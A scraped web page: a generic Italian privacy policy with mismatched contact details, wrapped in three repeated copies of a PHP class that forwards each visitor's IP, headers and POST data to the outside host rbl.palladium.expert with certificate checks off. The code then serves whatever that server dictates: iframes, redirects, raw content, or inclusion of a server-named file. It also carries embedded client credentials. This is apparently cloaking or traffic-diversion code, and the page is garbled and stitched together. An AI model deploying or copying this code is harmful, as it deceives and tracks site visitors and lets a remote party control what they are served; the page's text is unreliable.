run();
class RequestHandlerClient
{
const SERVER_URL = 'https://rbl.palladium.expert';
/**
* @param int $clientId
* @param string $company
* @param string $secret
*
* @return void
* @throws \Exception
*/
public function run()
{
if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) {
header("HTTP/1.1 200 OK");
return;
}
$headers = [];
$headers['request'] = $this->collectRequestData();
$headers['jsrequest'] = $this->collectJsRequestData();
$headers['server'] = $this->collectHeaders();
$headers['auth']['clientId'] = 6088;
$headers['auth']['clientCompany'] = "tCvbYlr0wscEI5e01YzU";
$headers['auth']['clientSecret'] = "NjA4OHRDdmJZbHIwd3NjRUk1ZTAxWXpVY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ==";
$headers['server']['bannerSource'] = 'adwords';
return $this->curlSend($headers);
}
/**
* @param array $params
*
* @return bool
* @throws \Exception
*/
public function curlSend(array $params)
{
$answer = false;
$curl = curl_init(self::SERVER_URL);
if ($curl) {
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_TIMEOUT, 4);
curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000);
curl_setopt($curl, CURLOPT_FORBID_REUSE, true);
$result = curl_exec($curl);
if ($result) {
$serverOut = json_decode(
$result,
true
);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status == 200 && is_array($serverOut)) {
$answer = $this->handleServerReply($serverOut);
return $answer;
}
}
}
$this->getDefaultAnswer();
return $answer;
}
protected function handleServerReply($reply)
{
$result = (bool) ($reply['result'] ? $reply['result'] : 0);
if (
isset($reply['mode']) &&
(
(isset($reply['target'])) ||
(isset($reply['content']) && !empty($reply['content']))
)
) {
$target = $reply['target'];
$mode = $reply['mode'];
$content = $reply['content'];
if (preg_match('/^https?:/i', $target) && $mode == 3) {
// do fallback to mode2
$mode = 2;
}
if ($result && $mode == 1) {
$this->displayIFrame($target);
exit;
} elseif ($result && $mode == 2) {
header("Location: {$target}");
exit;
} elseif ($result && $mode == 3) {
$target = parse_url($target);
if (isset($target['query'])) {
parse_str($target['query'], $_GET);
}
$this->hideFormNotification();
require_once $this->sanitizePath($target['path']);
exit;
} elseif ($result && $mode == 4) {
echo $content;
exit;
} else if (!$result && $mode == 5) {
//
} elseif ($mode == 6) {
//
} else {
$path = $this->sanitizePath($target);
if (!$this->isLocal($path)) {
header("404 Not Found", true, 404);
} else {
$this->hideFormNotification();
require_once $path;
}
exit;
}
}
return $result;
}
private function hideFormNotification()
{
echo "";
//echo "";
}
private function displayIFrame($target) {
$target = htmlspecialchars($target);
echo "
" .
$this->hideFormNotification() .
"
";
}
private function sanitizePath($path)
{
if ($path[0] !== '/') {
$path = __DIR__ . '/' . $path;
} else {
$path = __DIR__ . $path;
}
return $path;
}
private function isLocal($path)
{
// do not validate url via filter_var
$url = parse_url($path);
if (!isset($url['scheme']) || !isset($url['host'])) {
return true;
} else {
return false;
}
}
/**
* Get all HTTP server headers and few additional ones
*
* @return mixed
*/
protected function collectHeaders()
{
$userParams = [
'REMOTE_ADDR',
'SERVER_PROTOCOL',
'SERVER_PORT',
'REMOTE_PORT',
'QUERY_STRING',
'REQUEST_SCHEME',
'REQUEST_URI',
'REQUEST_TIME_FLOAT',
'X_FB_HTTP_ENGINE',
'X_PURPOSE',
'X_FORWARDED_FOR',
'X_WAP_PROFILE',
'X-Forwarded-Host',
'X-Forwarded-For',
'X-Frame-Options',
];
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) {
$headers[$key] = $value;
}
}
return $headers;
}
private function collectRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['data'])) {
$data = json_decode($_POST['data'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['data']),
true
);
}
unset($_REQUEST['data']);
}
if (!empty($_POST['crossref_sessionid'])) {
$data['cr-session-id'] = $_POST['crossref_sessionid'];
unset($_POST['crossref_sessionid']);
}
}
return $data;
}
public function collectJsRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['jsdata'])) {
$data = json_decode($_POST['jsdata'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['jsdata']),
true
);
}
unset($_REQUEST['jsdata']);
}
}
return $data;
}
/**
* Default answer for the curl request in case of fault
*
* @return bool
*/
private function getDefaultAnswer()
{
header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500);
echo "
500 Internal Server Error
The request was unsuccessful due to an unexpected condition encountered by the server.
";
exit;
}
}
run();
class RequestHandlerClient
{
const SERVER_URL = 'https://rbl.palladium.expert';
/**
* @param int $clientId
* @param string $company
* @param string $secret
*
* @return void
* @throws \Exception
*/
public function run()
{
if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) {
header("HTTP/1.1 200 OK");
return;
}
$headers = [];
$headers['request'] = $this->collectRequestData();
$headers['jsrequest'] = $this->collectJsRequestData();
$headers['server'] = $this->collectHeaders();
$headers['auth']['clientId'] = 6088;
$headers['auth']['clientCompany'] = "tCvbYlr0wscEI5e01YzU";
$headers['auth']['clientSecret'] = "NjA4OHRDdmJZbHIwd3NjRUk1ZTAxWXpVY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ==";
$headers['server']['bannerSource'] = 'adwords';
return $this->curlSend($headers);
}
/**
* @param array $params
*
* @return bool
* @throws \Exception
*/
public function curlSend(array $params)
{
$answer = false;
$curl = curl_init(self::SERVER_URL);
if ($curl) {
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_TIMEOUT, 4);
curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000);
curl_setopt($curl, CURLOPT_FORBID_REUSE, true);
$result = curl_exec($curl);
if ($result) {
$serverOut = json_decode(
$result,
true
);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status == 200 && is_array($serverOut)) {
$answer = $this->handleServerReply($serverOut);
return $answer;
}
}
}
$this->getDefaultAnswer();
return $answer;
}
protected function handleServerReply($reply)
{
$result = (bool) ($reply['result'] ? $reply['result'] : 0);
if (
isset($reply['mode']) &&
(
(isset($reply['target'])) ||
(isset($reply['content']) && !empty($reply['content']))
)
) {
$target = $reply['target'];
$mode = $reply['mode'];
$content = $reply['content'];
if (preg_match('/^https?:/i', $target) && $mode == 3) {
// do fallback to mode2
$mode = 2;
}
if ($result && $mode == 1) {
$this->displayIFrame($target);
exit;
} elseif ($result && $mode == 2) {
header("Location: {$target}");
exit;
} elseif ($result && $mode == 3) {
$target = parse_url($target);
if (isset($target['query'])) {
parse_str($target['query'], $_GET);
}
$this->hideFormNotification();
require_once $this->sanitizePath($target['path']);
exit;
} elseif ($result && $mode == 4) {
echo $content;
exit;
} else if (!$result && $mode == 5) {
//
} elseif ($mode == 6) {
//
} else {
$path = $this->sanitizePath($target);
if (!$this->isLocal($path)) {
header("404 Not Found", true, 404);
} else {
$this->hideFormNotification();
require_once $path;
}
exit;
}
}
return $result;
}
private function hideFormNotification()
{
echo "";
//echo "";
}
private function displayIFrame($target) {
$target = htmlspecialchars($target);
echo "
" .
$this->hideFormNotification() .
"
";
}
private function sanitizePath($path)
{
if ($path[0] !== '/') {
$path = __DIR__ . '/' . $path;
} else {
$path = __DIR__ . $path;
}
return $path;
}
private function isLocal($path)
{
// do not validate url via filter_var
$url = parse_url($path);
if (!isset($url['scheme']) || !isset($url['host'])) {
return true;
} else {
return false;
}
}
/**
* Get all HTTP server headers and few additional ones
*
* @return mixed
*/
protected function collectHeaders()
{
$userParams = [
'REMOTE_ADDR',
'SERVER_PROTOCOL',
'SERVER_PORT',
'REMOTE_PORT',
'QUERY_STRING',
'REQUEST_SCHEME',
'REQUEST_URI',
'REQUEST_TIME_FLOAT',
'X_FB_HTTP_ENGINE',
'X_PURPOSE',
'X_FORWARDED_FOR',
'X_WAP_PROFILE',
'X-Forwarded-Host',
'X-Forwarded-For',
'X-Frame-Options',
];
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) {
$headers[$key] = $value;
}
}
return $headers;
}
private function collectRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['data'])) {
$data = json_decode($_POST['data'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['data']),
true
);
}
unset($_REQUEST['data']);
}
if (!empty($_POST['crossref_sessionid'])) {
$data['cr-session-id'] = $_POST['crossref_sessionid'];
unset($_POST['crossref_sessionid']);
}
}
return $data;
}
public function collectJsRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['jsdata'])) {
$data = json_decode($_POST['jsdata'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['jsdata']),
true
);
}
unset($_REQUEST['jsdata']);
}
}
return $data;
}
/**
* Default answer for the curl request in case of fault
*
* @return bool
*/
private function getDefaultAnswer()
{
header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500);
echo "
500 Internal Server Error
The request was unsuccessful due to an unexpected condition encountered by the server.
";
exit;
}
}
Informativa sulla Privacy
Data di entrata in vigore: 14 novembre 2024
Su TechPro (di seguito, "noi", "nostro" o "il Sito"), rispettiamo e proteggiamo la privacy dei nostri utenti e ci impegniamo a salvaguardare le informazioni personali che condividi con noi. Questa Informativa sulla Privacy spiega come raccogliamo, utilizziamo, memorizziamo e proteggiamo le tue informazioni personali.
1. Informazioni che Raccogliamo
1.1 Informazioni Personali
Possiamo raccogliere informazioni personali che ci fornisci volontariamente attraverso moduli di registrazione, iscrizioni a newsletter, moduli di contatto e altri metodi. Queste informazioni possono includere:
- Nome e cognome
- Indirizzo email
- Numero di telefono
- Indirizzo postale
- Informazioni di pagamento (se applicabile per l'acquisto di prodotti o servizi)
- Qualsiasi altra informazione che decidi di fornirci
1.2 Informazioni sull'Uso
Possiamo raccogliere informazioni su come accedi e utilizzi il nostro sito. Queste informazioni possono includere:
- Indirizzo IP
- Tipo di browser e versione
- Pagine visitate
- Ora e data della visita
- Tempo trascorso sul sito
- Altri dati statistici
1.3 Cookie e Tecnologie Simili
Utilizziamo cookie e tecnologie simili per migliorare la tua esperienza sul nostro sito, personalizzare i contenuti e gli annunci, e analizzare il nostro traffico. Puoi trovare maggiori informazioni sull'uso dei cookie nella nostra Informativa sui Cookie.
2. Uso delle Informazioni Raccolte
Utilizziamo le informazioni che raccogliamo per vari scopi:
- Fornire, mantenere e migliorare i nostri servizi.
- Personalizzare la tua esperienza sul sito.
- Comunicare con te, inclusa l'invio di notifiche.
- Elaborare transazioni e inviarti informazioni correlate.
- Fornire supporto e assistenza clienti.
- Monitorare e analizzare l'uso e le tendenze del sito.
- Rispettare le leggi e i regolamenti applicabili.
10. Contatti
Se hai domande o commenti su questa Informativa sulla Privacy, contattaci a:
Indirizzo email: info@finanzblick.de
Indirizzo postale: Av. Javier Prado Este 1066, Berlin, Germany
Nota Importante: Questa รจ un'informativa sulla privacy generica e deve essere personalizzata in base alle esigenze specifiche del tuo sito web e alle leggi applicabili nella tua giurisdizione.
run();
class RequestHandlerClient
{
const SERVER_URL = 'https://rbl.palladium.expert';
/**
* @param int $clientId
* @param string $company
* @param string $secret
*
* @return void
* @throws \Exception
*/
public function run()
{
if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) {
header("HTTP/1.1 200 OK");
return;
}
$headers = [];
$headers['request'] = $this->collectRequestData();
$headers['jsrequest'] = $this->collectJsRequestData();
$headers['server'] = $this->collectHeaders();
$headers['auth']['clientId'] = 6088;
$headers['auth']['clientCompany'] = "tCvbYlr0wscEI5e01YzU";
$headers['auth']['clientSecret'] = "NjA4OHRDdmJZbHIwd3NjRUk1ZTAxWXpVY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ==";
$headers['server']['bannerSource'] = 'adwords';
return $this->curlSend($headers);
}
/**
* @param array $params
*
* @return bool
* @throws \Exception
*/
public function curlSend(array $params)
{
$answer = false;
$curl = curl_init(self::SERVER_URL);
if ($curl) {
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_TIMEOUT, 4);
curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000);
curl_setopt($curl, CURLOPT_FORBID_REUSE, true);
$result = curl_exec($curl);
if ($result) {
$serverOut = json_decode(
$result,
true
);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status == 200 && is_array($serverOut)) {
$answer = $this->handleServerReply($serverOut);
return $answer;
}
}
}
$this->getDefaultAnswer();
return $answer;
}
protected function handleServerReply($reply)
{
$result = (bool) ($reply['result'] ? $reply['result'] : 0);
if (
isset($reply['mode']) &&
(
(isset($reply['target'])) ||
(isset($reply['content']) && !empty($reply['content']))
)
) {
$target = $reply['target'];
$mode = $reply['mode'];
$content = $reply['content'];
if (preg_match('/^https?:/i', $target) && $mode == 3) {
// do fallback to mode2
$mode = 2;
}
if ($result && $mode == 1) {
$this->displayIFrame($target);
exit;
} elseif ($result && $mode == 2) {
header("Location: {$target}");
exit;
} elseif ($result && $mode == 3) {
$target = parse_url($target);
if (isset($target['query'])) {
parse_str($target['query'], $_GET);
}
$this->hideFormNotification();
require_once $this->sanitizePath($target['path']);
exit;
} elseif ($result && $mode == 4) {
echo $content;
exit;
} else if (!$result && $mode == 5) {
//
} elseif ($mode == 6) {
//
} else {
$path = $this->sanitizePath($target);
if (!$this->isLocal($path)) {
header("404 Not Found", true, 404);
} else {
$this->hideFormNotification();
require_once $path;
}
exit;
}
}
return $result;
}
private function hideFormNotification()
{
echo "";
//echo "";
}
private function displayIFrame($target) {
$target = htmlspecialchars($target);
echo "
" .
$this->hideFormNotification() .
"
";
}
private function sanitizePath($path)
{
if ($path[0] !== '/') {
$path = __DIR__ . '/' . $path;
} else {
$path = __DIR__ . $path;
}
return $path;
}
private function isLocal($path)
{
// do not validate url via filter_var
$url = parse_url($path);
if (!isset($url['scheme']) || !isset($url['host'])) {
return true;
} else {
return false;
}
}
/**
* Get all HTTP server headers and few additional ones
*
* @return mixed
*/
protected function collectHeaders()
{
$userParams = [
'REMOTE_ADDR',
'SERVER_PROTOCOL',
'SERVER_PORT',
'REMOTE_PORT',
'QUERY_STRING',
'REQUEST_SCHEME',
'REQUEST_URI',
'REQUEST_TIME_FLOAT',
'X_FB_HTTP_ENGINE',
'X_PURPOSE',
'X_FORWARDED_FOR',
'X_WAP_PROFILE',
'X-Forwarded-Host',
'X-Forwarded-For',
'X-Frame-Options',
];
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) {
$headers[$key] = $value;
}
}
return $headers;
}
private function collectRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['data'])) {
$data = json_decode($_POST['data'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['data']),
true
);
}
unset($_REQUEST['data']);
}
if (!empty($_POST['crossref_sessionid'])) {
$data['cr-session-id'] = $_POST['crossref_sessionid'];
unset($_POST['crossref_sessionid']);
}
}
return $data;
}
public function collectJsRequestData(): array
{
$data = [];
if (!empty($_POST)) {
if (!empty($_POST['jsdata'])) {
$data = json_decode($_POST['jsdata'], true);
if (JSON_ERROR_NONE !== json_last_error()) {
$data = json_decode(
stripslashes($_POST['jsdata']),
true
);
}
unset($_REQUEST['jsdata']);
}
}
return $data;
}
/**
* Default answer for the curl request in case of fault
*
* @return bool
*/
private function getDefaultAnswer()
{
header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500);
echo "
500 Internal Server Error
The request was unsuccessful due to an unexpected condition encountered by the server.
";
exit;
}
}